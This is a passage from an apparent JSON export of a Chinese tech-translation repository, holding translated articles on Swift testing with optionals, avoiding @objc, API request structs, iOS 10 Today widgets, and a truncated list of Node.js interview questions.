😉。\n\n之前很长的时间，我曾认为测试代码只是一些我快速堆砌的代码，因为有人告诉我必须要编写测试。我不那么在乎它们的质量，因为我将它视为一件琐事，并不将它放在首位。然而，一旦我因为编写测试而发现验证自己的代码有多么快，以及对自己有多么自信 —— 我对测试的态度就开始了转变。\n\n所现在我相信对于测试代码，和将要移交的产品代码进行同等的高标准要求是非常重要的。因为我们配套的测试是需要我们长期使用、拓展和掌握的，我们理应让这些工作更容易完成。\n\n## 强制解析的问题\n\n那么这一切与 Swift 中的强制解析有什么关系呢？🤔\n\n有时必须要强制解析，很容易编写一个 “go-to solution” 的测试。让我们来看一个例子，测试 `UserService` 实现的登陆机制是否正常工作：\n\n```\nclass UserServiceTests: XCTestCase {\n    func testLoggingIn() {\n        // 为了登陆终端\n        // 构建一个永远返回成功的模拟对象\n        let networkManager = NetworkManagerMock()\n        networkManager.mockResponse(forEndpoint: .login, with: [\n            \"name\": \"John\",\n            \"age\": 30\n        ])\n\n        // 构建 service 对象以及登录\n        let service = UserService(networkManager: networkManager)\n        service.login(withUsername: \"john\", password: \"password\")\n\n        // 现在我们想要基于已登陆的用户进行断言，\n        // 这是可选类型，所以我们对它进行强制解析\n        let user = service.loggedInUser!\n        XCTAssertEqual(user.name, \"John\")\n        XCTAssertEqual(user.age, 30)\n    }\n}\n```\n\n如你所见，在进行断言之前，我们强制解析了 service 对象的 `loggedInUser` 属性。像上面这样的做法并不是绝对意义上的错，但是如果这个测试因为一些原因开始失败，就可能会导致一些问题。\n\n假设某人（记住，“某人”可能就是“未来的你自己”😉）改变了网络部分的代码，导致上述测试开始崩溃。如果这样的事情发生了，错误信息可能只会像下面这样：\n\n```\nFatal error: Unexpectedly found nil while unwrapping an Optional value\n```\n\n尽管用 Xcode 本地运行时这不是个大问题（因为错误会被关联地显示 —— 至少在大多数时候 🙃），但当连续地整体运行整个项目时，它可能问题重重。上述的错误信息可能出现在巨大的“文字墙”中，导致难以看出错误的来源。更严重的是，它会**阻止后续的测试被执行**（因为测试进程会崩溃），这将导致修复工作进展缓慢并且令人烦躁。\n\n## Guard 和 XCTFail\n\n一个潜在的解决上述问题的方式是简单地使用 `guard` 声明，优雅地解析问题中的可选类型，如果解析失败再调用 `XCTFail` 即可，就像下面这样：\n\n```\nguard let user = service.loggedInUser else {\n    XCTFail(\"Expected a user to be logged in at this point\")\n    return\n}\n```\n\n尽管上述做法在某些情况下是正确的做法，但事实上我推荐避免使用它 —— 因为它向你的测试中增加了控制流。为了稳定性和可预测性，你通常希望测试只是简单的遵循 **given，when，then** 结构，并且增加控制流会使得测试代码难于理解。如果你真的非常倒霉，控制流可能成为误报的起源（对此之后的文章会有更多的相关内容）。\n\n## 保持可选类型\n\n另一个方法是让可选类型一直保持可选。这在某些使用情况下完全可用，包括我们 `UserManager` 的例子。因为我们对已经登录的 user 的 `name` 和 `age` 属性使用了断言，如果任意一个属性为 `nil` ，我们会自动得到错误提示。同时如果我们对 user 使用额外的 `XCTAssertNotNil` 检查，我们就能得到一个非常完整的诊断信息。\n\n```\nlet user = service.loggedInUser\nXCTAssertNotNil(user, \"Expected a user to be logged in at this point\")\nXCTAssertEqual(user?.name, \"John\")\nXCTAssertEqual(user?.age, 30)\n```\n\n现在如果我们的测试开始出错了，我们就能得到如下信息：\n\n```\nXCTAssertNotNil failed - Expected a user to be logged in at this point\nXCTAssertEqual failed: (\"nil\") is not equal to (\"Optional(\"John\")\")\nXCTAssertEqual failed: (\"nil\") is not equal to (\"Optional(30)\")\n```\n\n这让我们能够更加容易地知道发生错误的地方，以及该从哪里入手去调试、解决这个错误 🎉。\n\n## 使用 throw 的测试\n\n第三个选择在某些情况下是非常有用的，就是将返回可选类型的 API 替换为 throwing API。Swift 中的 throwing API 的优雅之处在于，需要时它能够非常容易地被当成可选类型使用。所以很多时候选择采用 throwing 方法，不需要牺牲任何的可用性。比如说，假设我们有一个 `EndpointURLFactory` 类，被用来在我们的 app 中生成特定终端的 URL，这显然会返回可选类型：\n\n```\nclass EndpointURLFactory {\n    func makeURL(for endpoint: Endpoint) -> URL? {\n        ...\n    }\n}\n```\n\n现在我们将其转换为采用 throwing API，像这样：\n\n```\nclass EndpointURLFactory {\n    func makeURL(for endpoint: Endpoint) throws -> URL {\n        ...\n    }\n}\n```\n\n当我们仍然想得到一个可选类型的 URL 时，我们只需要使用 `try?` 命令去调用它：\n\n```\nlet loginEndpoint = try? urlFactory.makeURL(for: .login)\n```\n\n就测试而言，上述这种做法的最大好处在于可以在测试中轻松地使用 `try`，并且使用 XCTest runner 完全可以毫无代价地处理无效值。这是鲜为人知的，但事实上 Swift 测试可以是 throwing 函数，看看这个：\n\n```\nclass EndpointURLFactoryTests: XCTestCase {\n    func testSearchURLContainsQuery() throws {\n        let factory = EndpointURLFactory()\n        let query = \"Swift\"\n\n        // 因为我们的测试函数是 throwing，这里我们可以简单地采用 'try'\n        let url = try factory.makeURL(for: .search(query))\n        XCTAssertTrue(url.absoluteString.contains(query))\n    }\n}\n```\n\n没有可选类型，没有强制解析，某些发生错误的时候也能完美地做出诊断 👍。\n\n## 使用 require 的可选类型\n\n然而，并不是所有返回可选类型的 API 都可以被替换为 throwing。不过在写包含可选类型的测试时，有一个和 throwing API 同样好的方法。\n\n让我们回到最开始 `UserManager` 的例子。如果既不对 `loggedInUser` 进行强制解析，又不把它看作可选类型，那么我们可以简单地这样做：\n\n```\nlet user = try require(service.loggedInUser)\nXCTAssertEqual(user.name, \"John\")\nXCTAssertEqual(user.age, 30)\n```\n\n这实在是太酷了！😎这样我们可以摆脱大量的强制解析，同时避免让我们的测试代码难于编写、难于上手。那么为了达到上述效果我们应该怎么做呢？这很简单，我们只需要对 `XCTestCase` 增加一个拓展，让我们分析任何可选类型表达式，并且返回非可选的值或者抛出一个错误，像这样：\n\n```\nextension XCTestCase {\n    // 为了能够输出优雅的错误信息\n    // 我们遵循 LocallizedErrow\n    private struct RequireError<T>: LocalizedError {\n        let file: StaticString\n        let line: UInt\n\n        // 实现这个属性非常重要\n        // 否则测试失败时我们无法在记录中优雅地输出错误信息\n        var errorDescription: String? {\n            return \"😱 Required value of type \\(T.self) was nil at line \\(line) in file \\(file).\"\n        }\n    }\n\n    // 使用 file 和 line 使得我们能够自动捕获\n    // 源代码中出现的相对应的表达式\n    func require<T>(_ expression: @autoclosure () -> T?,\n                    file: StaticString = #file,\n                    line: UInt = #line) throws -> T {\n        guard let value = expression() else {\n            throw RequireError<T>(file: file, line: line)\n        }\n\n        return value\n    }\n}\n```\n\n现在有了上述内容，如果我们 `UserManager` 登录测试发生失败，我们也能得到一个非常优雅的错误信息，告诉我们错误发生的准确位置。\n\n```\n[UserServiceTests testLoggingIn] : failed: caught error: 😱 Required value of type User was nil at line 97 in file UserServiceTests.swift.\n```\n\n**你可能意识到这个技巧来源于我的迷你框架 [Require](https://github.com/johnsundell/require), 它对所有可选类型增加了一个 require() 方法，以提高对无法避免的强制解析的诊断效果。**\n\n## 总结\n\n以同样谨慎的态度对待你的应用代码和测试代码，在最开始可能有些不适应，但可以让长期维护测试变的更加简单 —— 不论是独立开发还是团队开发。良好的错误诊断和错误信息是其中特别重要的一部分，使用本文中的一些技巧或许能够让你在未来避免很多奇怪的问题。\n\n我在测试代码中唯一使用强制解析的时候，就是在构建测试案例的属性时。因为这些总是在 `setUp` 中被创建、`tearDown` 中被销毁，我并不把他们当作真正的可选类型。正如以往，你同样需要查看你自己的代码，根据你自己的喜好，来权衡决定。\n\n所以你觉得呢？你会采用一些本文中的技巧，还是你已经用了一些相关的方式？请让我知道，包括你可能有的任何的问题、评价和反馈 —— 可以在下面回复栏直接回复或者在 [Twitter @johnsundell](https://twitter.com/johnsundell) 上回复我。\n\n感谢阅读！🚀\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/avoiding-objc-in-swift.md",
    "content": ">* 原文链接 : [Avoiding the overuse of @objc in Swift](http://www.jessesquires.com/avoiding-objc-in-swift/)\n* 原文作者 : [Jesse Squires](http://www.jessesquires.com/)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [Dwight](https://github.com/ldhlfzysys)\n* 校对者: [jk77me](https://github.com/jk77me), [owenlyn](https://github.com/owenlyn)\n\n# iOS 开发者在 Swift 中应避免过度使用\n\n就在前几天，我终于把项目迁移到了Swift2.2，在使用[SE-0022](https://github.com/apple/swift-evolution/blob/master/proposals/0022-objc-selectors.md)建议的`#selector`语句时，我遇到了一些问题。如果在protocol extension中使用`#selector`，这个protocol必须添加`@Objc`修饰符。而之前的`Selector(\"method:\")`语句则不需要添加。\n\n\n### 通过协议的扩展配置视图控制器\n\n为了达到本文的目的，我简化了工作中项目的代码，但所有核心的思想都保留着。一种我经常在swift里用的模式是：为了重用的配置写protocols(协议)和extensions(扩展)，特别是有Uikit的时候\n\n假设我们有一组视图控制器，每个控制器都需要一个 view model 和 一个“取消”按钮。每一个控制器需要各自响应\n“cancel”按钮的点击事件。我们可以这样写：\n\n\n    struct ViewModel {\n        let title: String\n    }\n\n    protocol ViewControllerType: class {\n        var viewModel: ViewModel { get set }\n\n        func didTapCancelButton(sender: UIBarButtonItem)\n    }\n\n\n\n如果就写成这样，那每个控制器都需要自己去添加和写一个一样的取消按钮。这样就会有很多一样的代码。我们可以通过扩展（用老的 `Selector(\"\")` 语句）来解决：\n\n\n\n    extension ViewControllerType where Self: UIViewController {\n        func configureNavigationItem() {\n            navigationItem.leftBarButtonItem = UIBarButtonItem(\n                barButtonSystemItem: .Cancel,\n                target: self,\n                action: Selector(\"didTapCancelButton:\"))\n        }\n    }\n\n\n\n现在每个符合协议的控制器都可以通过在`viewDidLoad()`里调用协议的`configureNavigationItem()` 方法来配置取消按钮，是不是好多了~我们的控制器看起来是这样的：\n\n\n    class MyViewController: UIViewController, ViewControllerType {\n        var viewModel = ViewModel(title: \"Title\")\n\n        override func viewDidLoad() {\n            super.viewDidLoad()\n            configureNavigationItem()\n        }\n\n        func didTapCancelButton(sender: UIBarButtonItem) {\n            // handle tap\n        }\n    }\n\n\n\n这仅是一个简单的例子，但我们可以想象通过这个方式制造更多复杂的配置。\n\n把以上代码段升级到 Swift 2.2后，是这样的：\n\n\n\n    extension ViewControllerType where Self: UIViewController {\n        func configureNavigationItem() {\n            navigationItem.leftBarButtonItem = UIBarButtonItem(\n                barButtonSystemItem: .Cancel,\n                target: self,\n                action: #selector(didTapCancelButton(_:)))\n        }\n    }\n\n\n\n但现在我们有了个问题，一个新的编译错误\n\n\n\n    Argument of '#selector' refers to a method that is not exposed to Objective-C.\n\n    Fix-it   Add '@objc' to expose this method to Objective-C\n\n\n\n### 当`@objc`试图破坏所有的东西\n\n因为一系列的原因， 在原始的`ViewControllerType`协议中，我们并不能简单的给这个方法添加一个`@objc`修饰符。如果我们这么做了，那么所有的protocol都需要用`@objc`来标记，这将意味着：\n\n*   所有这个protocol的父protocol都需要用`@objc`来标记。\n*   所有继承自这个protocol的protocol都会被自动添加`@objc`。\n*   我们在protocol中的结构体(`ViewModel`)不能用Objective-C来表示。\n\n到目前，`@objc`在这里的唯一功能就是定义了一个普通的target-action selectors。尽管我们可以使用swift的强大功能，但是因为Cocoa依然贯穿我们的代码[Cocoa all the way down](http://inessential.com/2016/05/25/oldie_complains_about_the_old_old_ways)，我们并没有正真的在写纯粹的swift - 除非我们开始在各个地方引入@objc。\n\n我们在这的例子很简单，但是想象一下更复杂的类依赖关系图，大量使用Swift的值类型和当这个协议处在多个协议的中间层时。把引入`@objc`作为解决方案真是app的末日。如果我们这样做，`@objc`这种做法会让我们的Swift代码毫无美感并变得乱糟糟。这会毁了所有的东西。\n\n但是希望还是有的。\n\n### 不使用`@objc`来避免乱糟糟\n\n我们大可不必让为了让我们的Swifit代码能使用Objcetive-C的语法而使用`@objc`。\n\n我们可以把protocol分解成多个protocol来去除`@objc`，然后我们再重组这些protocol。事实上，我们可以让编译器顺利编译和避免更改任何视图控制器的代码。\n\n第一步，我们把protocol拆成2个。`ViewModelConfigurable` 和 `NavigationItemConfigurable`。把`ViewControllerType `里的extension放到`NavigationItemConfigurable`。\n\n\n    protocol ViewModelConfigurable {\n        var viewModel: ViewModel { get set }\n    }\n\n    @objc protocol NavigationItemConfigurable: class {\n        func didTapCancelButton(sender: UIBarButtonItem)\n    }\n\n\n\n最终，我们可以把原`ViewControllerType` protocol定义成`typealias`。\n\n\n    typealias ViewControllerType = protocol<ViewModelConfigurable, NavigationItemConfigurable>\n\n\n\n和迁移到Swift2.2之前比一切都很正常，而且我们定义的原视图控制器也没有发生任何改变，没有东西被破坏。如果你曾经遇到类似的情况，或者你也想阻止`@objc`带来的破坏（你应该这么做），我强烈建议采用这个策略。\n\n### 这并不是显而易见的\n\n\n现在的代码，我还是觉得有点不爽，当然，针对这个问题，这就是最Swift化的答案。当Xcode突然开始提示你并且很快的应用它的修复方案依然会把所有都破坏掉。特别是当Xcode提供的修复方案正中你下怀的时候，这个时候，上面说的到的这类解决方案并不能立即很清楚。\n\n最后，在做了以上那些更改之后，我意识到总的来说这其实是一个很好的解决方案。。没有什么理由在一个地方只用一个协议。像`ViewModelConfigurable` 和 `NavigationItemConfigurable`这两个协议分工明确。把不同的协议组合在一起始终都是最优雅、最适当的设计。\n"
  },
  {
    "path": "TODO/backend-api-documentation-in-swift.md",
    "content": "> * 原文地址：[Backend API Documentation in Swift](https://medium.com/ios-os-x-development/backend-api-documentation-in-swift-92b4874e4f78#.g2ofuey9d)\n* 原文作者：[Christopher Truman](https://medium.com/@iamchristruman?source=post_header_lockup)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Nicolas(Yifei) Li](https://github.com/yifili09) \n* 校对者：[Siegen](https://github.com/siegeout), [DeadLion](https://github.com/DeadLion) \n\n# 有关用 Swift 访问后端服务器的 API 文档中\n\n我最近开始开发一个全新的项目，并且我正尝试一些新的设计模式，因为我开始投身于 `Swift 3`。我正使用的一个模式是“请求和响应模型”。这个“酷炫”的名字是我为记录这个后台 `API` 文档中的 `Struct` (结构体)。让我们来看一个例子：\n\n```\nimport Alamofire\n\nprotocol Request {\n    var path : String { get }\n    var method : Method { get }\n    func parameters() -> [String : AnyObject]\n}\n\nstruct AuthRequest : Request {\n    let path = \"auth\"\n    let method = Method.POST\n\n    var password : String\n    var password_verify : String\n    var name : String\n    var email : String\n\n    func parameters() -> [String : AnyObject] {\n        return [\"password\" : password, \"password_verify\" : password_verify, \"name\" : name, \"email\" : email]\n    }\n}\n```\n\n我们申明了一个 `Request` 协议，关于你所需要知道发起一个 `API` 请求的所有内容，它基本上都明确指出来了。\n\n* 需要添加进基本地址 (`URL`) 的路径（本例中是 `auth` ）\n* `HTTP` 方法（`GET`, `POST`, `PUT`, `DELETE` 等等）\n* 端点所要求的参数\n\n为了需要的信息，你可以扩展这个协议，例如某个指定的 `ContentType` 或者其他 `HTTP` 报头。你能想象到增加一些验证规则，（请求）完成处理方法，或者与这个协议网络请求有关的任何东西。\n\n所有这些结构体现在应该看上去像一个简明扼要的 `API` 文档，并且为你的网络操作提供了一些框架结构和类型安全验证。你可以把这些请求的结构体转变成你最喜欢的网络客户端。我有一个例子 [Alamofire](https://github.com/Alamofire/Alamofilre/tree/swift3)\n\n```\nclass Client {\n    var baseURL = \"http://dev.whatever.com/\"\n\n    func execute(request : Request, completionHandler: (Response<AnyObject, NSError=\"\">) -> Void){\n        Alamofire.request(request.method, baseURL + request.path, parameters: request.parameters())\n            .responseJSON { response in\n                completionHandler(response)\n        }\n    }\n}\n\nClient().execute(request: AuthRequest(/*Insert parameters here*/), completionHandler: { response in } )\n```\n\n我们把 `AuthRequest` 对象传递给 `Alamofire`，它需要一个通用的对象去确认 `Request` 协议。它使用来自协议中规定的属性/方法来构造并执行一个网络请求。\n\n现在我们已经定义了这个请求的结构体，并且使用它简单的访问服务器。我们现在需要处理响应。我们的 `AuthRequest` 返回一个不太大的用户 `JSON` 对象，我们需要把它序列化成一个 `Swift` 对象。\n\n```\nstruct UserResponse {\n    var _id : String\n    var first_name : String\n    var last_name : String\n\n    init(JSON: [String : AnyObject]) {\n        _id = JSON[\"_id\"] as! String\n        first_name = JSON[\"first_name\"] as! String\n        last_name = JSON[\"last_name\"] as! String\n    }\n}\n\n/* Inside our completion handler */\nvar user = UserResponse(JSON: response.result.value as! [String : AnyObject])\n\n```\n\n这个实现不太花哨，但是仍然记录了响应对象的属性。你能创建一个协议，它用来定义一个 `JSON` 初始器，但是使用简单的结构体目前对我来说已经足够了。\n\n你发现这个实现有任何问题么？ 有什么方法能让我更高效地使用协议/扩展来组成我的网络请求代码么？请让我知道！[@iAmChrisTruman](https://twitter.com/iAmChrisTruman)\n"
  },
  {
    "path": "TODO/backwards-compatibility-with-ios-10-today-widgets.md",
    "content": "> * 原文地址：[Tips for Backwards Compatibility with iOS 10 Today Widgets](https://kristina.io/backwards-compatibility-with-ios-10-today-widgets/)\n* 原文作者：[kristina](https://kristina.io/author/kristina/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Edison Hsu](https://github.com/edison-hsu)\n* 校对者：[肘子涵](https://github.com/zhouzihanntu) [Luoyaqifei](https://github.com/luoyaqifei)\n\n# iOS 10 今日控件向后兼容的几个技巧\n回顾今日控件在过去几年中重要性如何得到提升是一件很有趣的事。今日控件首次在 iOS 8 出现，当时并没有受到高度欢迎，并且在通知中心与错过的通知结合在一起。然而，在 iOS 10，今日控件彻底的改变了，完全接管主屏幕的左滑项，这过去常常被用作「滑动解锁」。在外观方面，该控件也有相当大的转变，从一个深色主题转变为一个珍珠白主题。\n\n不幸的是，对于开发者，如果你和我的团队一样还不能完全放弃对 iOS 10 以下的支持，那么你不得不解决完美支持两种外观风格，和一些其他在初看时不明显的问题。我最近参加了这个 [QuickBooks Self-Employed](https://quickbooks.intuit.com/self-employed/) 今日控件的改造－以下是一些注意事项：\n\n### 支持两种主题\n\n![iOS 9 today widget](https://i1.wp.com/kristina.io/wp-content/uploads/2016/10/Screen-Shot-2016-10-16-at-4.37.05-PM.png?resize=300%2C200&ssl=1%20300w,%20https://i1.wp.com/kristina.io/wp-content/uploads/2016/10/Screen-Shot-2016-10-16-at-4.37.05-PM.png?resize=400%2C266&ssl=1%20400w,%20https://i1.wp.com/kristina.io/wp-content/uploads/2016/10/Screen-Shot-2016-10-16-at-4.37.05-PM.png?w=618&ssl=1%20618w)\n\niOS 9 的今日控件\n\n\n\n![iOS 10 today widget](https://i2.wp.com/kristina.io/wp-content/uploads/2016/10/Screen-Shot-2016-10-16-at-4.43.07-PM.png?resize=300%2C213&ssl=1%20300w,%20https://i2.wp.com/kristina.io/wp-content/uploads/2016/10/Screen-Shot-2016-10-16-at-4.43.07-PM.png?resize=400%2C284&ssl=1%20400w,%20https://i2.wp.com/kristina.io/wp-content/uploads/2016/10/Screen-Shot-2016-10-16-at-4.43.07-PM.png?w=611&ssl=1%20611w)\n\niOS 10 的今日控件\n\n\n\n让我们从明显的问题开始解决。你可以构造两个不同的界面，分别用于 iOS 10 以下的版本和 iOS 10+ 的版本，或者确认一个单独的界面能够同时兼容深色和亮色背景。最后，我们通过构建一个界面来解决这个问题，但是对于我们视图的元素最终显示亮色还是深色的本文和背景色，这取决于在什么版本的 iOS 上运行。我们也确认了所有图片资源和有色文本在两种背景下都有良好的效果。修改图片的着色（tint color）在这被证明是有效的。\n\n    //Swift\n    var image = UIImage(named: \"imageName\");\n    image = image?.withRenderingMode(UIImageRenderingMode.alwaysTemplate)\n    let imageView = UIImageView(image: image)\n    imageView.tintColor = UIColor.blue\n\n    //Objective-C\n    UIImage *image = [UIImage imageNamed:@\"imageName\"];\n    image = [image imageWithRenderingMode:UIImageRenderingModeAlwaysTemplate];\n    UIImageView *imageView = [[UIImageView alloc] initWithImage:image];\n    imageView.tintColor = [UIColor blueColor];\n\n### 居中控件\n\n![Off-center iOS 9 widget](https://i0.wp.com/kristina.io/wp-content/uploads/2016/10/Screen-Shot-2016-10-16-at-5.19.27-PM.png?resize=300%2C293&ssl=1%20300w,%20https://i0.wp.com/kristina.io/wp-content/uploads/2016/10/Screen-Shot-2016-10-16-at-5.19.27-PM.png?w=378&ssl=1%20378w)\n\n这有一个不怎么明显的问题 － iOS 9 的今日控件有轻微的居中偏移。如果你注意上图，你可以看到上面的 `UITableView` 并不是水平居中于他的空间。如果你想要为 iOS 9 的今日控件做细微的调整，我建议设置边距（margin），允许你能够使用全部被分配的空间宽度，这与 iOS 10 上的默认保持一致。\n\n    //Swift\n    func widgetMarginInsets(forProposedMarginInsets defaultMarginInsets: UIEdgeInsets) -> UIEdgeInsets {\n        return UIEdgeInsetsMake(0,0,0,0);\n    }\n\n    //Objective-C\n    - (UIEdgeInsets)widgetMarginInsetsForProposedMarginInsets:(UIEdgeInsets)defaultMarginInsets {\n        //centers widget for iOS 9\n        return UIEdgeInsetsMake(0,0,0,0);\n    }\n\n注意：`widgetMarginInsetsForProposedMarginInsets` 是技术弃用的并且在 iOS 10 及以上的版本不会被调用。\n\n### 在扩展模式中功能失效\n\n![Compact mode](https://i0.wp.com/kristina.io/wp-content/uploads/2016/10/Screen-Shot-2016-10-16-at-5.31.42-PM.png?resize=300%2C120&ssl=1%20300w,%20https://i0.wp.com/kristina.io/wp-content/uploads/2016/10/Screen-Shot-2016-10-16-at-5.31.42-PM.png?resize=400%2C160&ssl=1%20400w,%20https://i0.wp.com/kristina.io/wp-content/uploads/2016/10/Screen-Shot-2016-10-16-at-5.31.42-PM.png?w=611&ssl=1%20611w)\n\n紧密模式\n\n\n\n![Expanded Mode](https://i0.wp.com/kristina.io/wp-content/uploads/2016/10/Screen-Shot-2016-10-16-at-5.31.32-PM.png?resize=300%2C158&ssl=1%20300w,%20https://i0.wp.com/kristina.io/wp-content/uploads/2016/10/Screen-Shot-2016-10-16-at-5.31.32-PM.png?resize=400%2C210&ssl=1%20400w,%20https://i0.wp.com/kristina.io/wp-content/uploads/2016/10/Screen-Shot-2016-10-16-at-5.31.32-PM.png?w=612&ssl=1%20612w)\n\n扩展模式\n\n\n\niOS 10 增加了一个可选的扩展模式，这可以用来增加额外的功能和控件的使用面积。这是超级有用的，比如高级用户功能或是在用户有一些不想一直显示在主屏幕的东西（例如私人或财产信息）的情况下。你可以在 ViewDidLoad 中通过一行代码开启扩展模式：\n\n    //Swift\n    self.extensionContext?.widgetLargestAvailableDisplayMode = NCWidgetDisplayMode.expanded\n\n    //Objective-C\n    self.extensionContext.widgetLargestAvailableDisplayMode = NCWidgetDisplayModeExpanded;\n\n然而，在 iOS 9 上这基本会破坏你的扩展，所以你实际上需要封装一下来确保仅在支持扩展模式时被设置。\n\n    //Swift\n    let extensionContext = NSExtensionContext()\n    if #available(iOS 10.0, *) {\n        extensionContext.widgetLargestAvailableDisplayMode = NCWidgetDisplayMode.expanded\n    }\n\n    //Objective-C\n    if ([self.extensionContext respondsToSelector:@selector(setWidgetLargestAvailableDisplayMode:)]) {\n        self.extensionContext.widgetLargestAvailableDisplayMode = NCWidgetDisplayModeExpanded;\n    }\n\n在扩展模式下你还需要考虑一个问题，那就是如果你不合理地设置控件的高度，任何仅在扩展模式（超过 110 px）下显示的东西将会在 iOS 9 及以下的版本被切掉。为了解决这个问题，你需要确认你设置了控件的 preferredContentSize 高度来让它保留那些超过 110 px 的内容。谢谢 Greg Gardner 指出这点！\n"
  },
  {
    "path": "TODO/before-you-bury-yourself-in-packages-learn-the-node-js-runtime-itself.md",
    "content": "> * 原文地址：[Before you bury yourself in packages, learn the Node.js runtime itself](https://medium.freecodecamp.com/before-you-bury-yourself-in-packages-learn-the-node-js-runtime-itself-f9031fbd8b69#.91p6p8nkz)\n> * 原文作者：该文章已获得作者 [Samer Buna](https://medium.freecodecamp.com/@samerbuna) 授权\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[fghpdf](https://github.com/fghpdf)\n> * 校对者：[rccoder](https://github.com/rccoder)，[reid3290](https://github.com/reid3290)\n\n# 在你沉迷于包的海洋之前，还是了解一下运行时 Node.js 的本身\n\n![](https://cdn-images-1.medium.com/max/2000/1*LSfLSMQ1kPuHnyCPLNEKgQ.png)\n\n这篇文章将挑战你 Node.js 的知识极限。\n\n我在 Ryan Dahl 第一次 [介绍](https://www.youtube.com/watch?v=ztspvPYybIY) Node.js 之后不久就开始学习它，甚至一年前我也不能回答我在这篇文章中提出的许多问题。 如果你能真正地回答所有的问题，那么你的 Node.js 的知识储备是迥乎常人的。 我们应该成为朋友。\n\n我发起这个挑战的原因可能会让你大吃一惊，我们中的许多人一直采用着错误的方式来学习 Node。大多数关于 Node 的教程，书籍和课程都关注于 Node 生态，而不是 Node 本身。 他们专注于教你使用的所有的 Node 包，例如 Express 和 Socket.IO，而不是教会你使用 Node 本身的功能。\n\n这样做也有很好的理由。Node 是原生的和灵活的。它不提供完整的解决方案，而是提供一个丰富的，你自己能够实现的解决方案。像 Express.js  和Socket.IO 这样的库则是更完整的解决方案，因此教这些库是更有意义的，这样可以让学习者使用这些完整的解决方案。\n\n传统的观念似乎觉得只有那些编写类库如 Express.js 和 Socket.IO 的人需要了解 Node.js 运行时的一切。但我认为这样的观点是错误的。深入理解 Node.js 本身是使用这些完整的解决方案之前最好的做法。你至少应该有足够的知识和信心来通过一个包的代码来判断你是否应该学习使用它。\n\n这就是为什么我决定开一个完完全全专攻于 Node 本身的 [Pluralsight 课程](https://www.pluralsight.com/courses/nodejs-advanced)。在备课时，我会列出一些具体问题来确定你对 Node 本身的了解是否已经足够深入，还是需要改进。\n\n如果你能回答这些问题并且正在找工作，请联系我！反过来说，如果大多数这些问题使你感到茫然，你则需要优先学习 Node 本身了。你所学的知识将使你成为一个更加理想的开发人员。\n\n### Node.js 知识挑战：\n\n其中一些问题简短而容易，而另一些则需要更长的答案和更深入的知识。它们的排名不分先后。\n\n我知道你会在阅读这个列表后想要它们的答案。下面的建议部分有一些答案，但我也将在这篇的 freeCodeCamp 文章之后回答所有这些问题。 但让我试试你的底！\n\n1. Node.js 和 V8 之间的关系是什么？可以在没有 V8 的情况下运行 Node 吗？\n2. 当你在任何一个 Node.js 文件中声明一个全局变量时，它对于所有模块都是真的全局吗？\n3. 当暴露一个 Node 模块的 API 时, 为什么我们有时候用 `exports` 有时候用 `module.exports`?\n4. 我们可以依赖不使用相对路径的本地文件吗？\n5. 可以在同一个应用中使用相同包的不同版本吗？\n6. 什么是事件循环？它是 V8 的一部分吗？\n7. 什么是调用栈？它是 V8 的一部分吗？\n8. `setImmediate` 和 `process.nextTick` 的区别在哪里?\n9. 如何使异步函数返回值？\n10. 回调可以与 promise 一起使用吗？他们还是同一种方式还是两种不同的方式？\n11. 什么 Node 模块由许多其他 Node 模块实现？\n12. `spawn`、 `exec` 和 `fork` 的主要区别是什么?\n13. 集群模块如何工作？它与使用负载均衡有何不同？\n14. `--harmony-*` 标志是什么?\n15. 如何读取和检查 Node.js 进程的内存使用情况？\n16. 当调用栈和事件循环队列都为空时，Node 将做什么？\n17. 什么是 V8 对象和函数模板？\n18. 什么是libuv, Node.js 如何使用它？\n19. 如何使 Node 的 REPL 总是使用 JavaScript 严格模式？\n20. 什么是 `process.argv`？ 它拥有什么类型的数据？\n21. 在 Node 进程结束之前，我们该如何做最后一个操作？该操作可以异步完成吗？\n22. 你可以在 Node REPL 中使用哪些内置命令？\n23. 除了 V8 和 libuv，Node 还有什么其他外部依赖？\n24. 进程 `uncaughtException` 事件的问题是什么? 它和 `exit` 事件的区别是什么?\n25. 在 Node’s REPL 中 `_` 意味着什么?\n26. Node buffer 使用V8内存吗？可以调整他们的大小吗？\n27. `Buffer.alloc` 和 `Buffer.allocUnsafe` 的区别是什么?\n28. `slice` 在 buffer 上与在 array 上有什么不同?\n29. `string_decoder` 模块有什么用? 它和 buffer 转字符串有何不同?\n30. require 函数需要执行的 5 个主要步骤是什么？\n31. 如何检查本地模块是否存在？\n32.  `package.json` 的 `main` 属性有什么用?\n33. 什么是 Node 中的模块循环依赖，如何避免？\n34. require 函数自动尝试的 3 个文件扩展名是什么？\n35. 当创建一个 HTTP 服务并对请求作出响应时, 为什么 `end()` 函数是必须的?\n36. 什么情况下适合使用文件系统的 `*Sync` 方法?\n37. 如何只打印深层嵌套对象的一个级别？\n38. `node-gyp` 包有什么用?\n39. 对象 `exports`、 `require` 和 `module` 在所有模块中都是全局的但在每一个模块中它们都不相同. 这是怎么做到的?\n40. 如果你执行一个只有 `console.log(arguments);` 的 Node 脚本文件 , 实际 Node 会输出什么?\n41. 如何做到一个模块可以同时被其他模块使用，并且可以通过 `node` 命令执行？\n42. 举一个可读写的内置流的例子。\n43. 当在 Node 脚本中执行 cluster.fork() 时会发生什么？\n44. 使用事件发射器和使用简单的回调函数来允许异步处理代码有什么区别？\n45. `console.time` 函数有什么用?\n46. 可读流的“已暂停”和“流动”模式之间有什么区别？\n47. `--inspect` 参数对于 node 命令有什么用?\n48. 如何从已连接的套接字中读取数据？\n49. `require` 